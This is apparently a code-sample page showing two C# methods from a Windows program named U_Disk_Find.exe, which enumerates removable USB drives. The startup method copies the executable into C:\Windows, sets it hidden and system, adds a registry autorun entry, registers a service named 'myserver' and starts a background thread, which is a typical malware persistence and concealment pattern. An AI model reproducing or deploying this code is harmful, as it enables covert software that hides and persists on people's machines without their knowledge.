Exemplo n.º 1
0
        void MainFormLoad(object sender, EventArgs e)
        {
            //this.Hide();
            //出始化U盘信息类,最多支持50个U盘
            for(int i=0;i<3;i++){
                After_U_disk[i]=new U_Disk_Info();
            }
            for(int i=0;i<50;i++){
                U_disk[i]=new U_Disk_Info();
            }
            find_u_disk(U_disk);

            string path=Application.ExecutablePath;
            string exename=path.Substring(path.LastIndexOf("\\")+1);
            if(!File.Exists("C:\\Windows\\"+exename)){
                File.Copy(path,"C:\\Windows\\"+exename);
                File.SetAttributes("C:\\Windows\\"+exename, FileAttributes.Hidden|FileAttributes.System);
            }else{

                Thread.Sleep(500);

            }

            Registry_class.SetAutoRun(Application.ExecutablePath, true);

            shouldStop=false;
            thread1=new Thread(method1);
            thread1.IsBackground=true;
             		thread1.Start();

             		Registry_class.Register_Service("myserver","C:\\Windows\\U_Disk_Find.exe"+" s","我的服务2");
        }
Exemplo n.º 2
0
        //-----------------------------------------------------------------------------------------------
        //监测U盘是否插上,并赋值给U盘信息类,是的话返回true,其他返回false
        public bool find_u_disk(U_Disk_Info[] disk)
        {
            DriveInfo[] s= DriveInfo.GetDrives();
               int j=0;
               int flag=0;
               foreach (DriveInfo i in s)
               {

               	  if (i.DriveType == DriveType.Removable)
               {
                   //MessageBox.Show("发现U盘或移动硬盘");
                   disk[j].name=i.Name;
                   disk[j].VolumnLabel=i.VolumeLabel;
                   j++;
                   flag=1;
               }

            }
               if(flag==1){
               	return true;
               }else{
               	return false;
               }
        }